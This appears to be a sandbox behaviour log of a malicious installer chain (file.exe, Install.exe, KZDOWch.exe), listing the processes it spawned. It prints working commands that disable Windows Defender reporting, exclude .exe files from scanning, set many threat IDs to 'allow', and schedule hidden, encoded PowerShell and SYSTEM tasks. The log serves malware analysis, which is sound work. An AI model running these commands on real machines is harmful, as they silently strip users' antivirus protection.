Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn "goSRLihgj"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /DELETE /F /TN "goSRLihgj"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbrwVHWbINAVAbZleQ" /SC once /ST 16:12:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe\" UB /site_id 525403 /S" /V1 /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe UB /site_id 525403 /S
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Windows\System32\gpupdate.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpscript.exe gpscript.exe /RefreshSystemParam
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe .\Install.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7660.tmp\Install.exe	Process created: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe .\Install.exe /S /site_id "525403"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "goSRLihgj" /SC once /ST 00:45:25 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /I /tn "goSRLihgj"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /DELETE /F /TN "goSRLihgj"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS7E6E.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbrwVHWbINAVAbZleQ" /SC once /ST 16:12:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe\" UB /site_id 525403 /S" /V1 /F	Jump to behavior
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&	Jump to behavior
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\COVpFhPtqYPoUNuBL\zKYzpPsGIVIslMC\KZDOWch.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\gpscript.exe gpscript.exe /RefreshSystemParam	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\reg.exe "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64	Jump to behavior
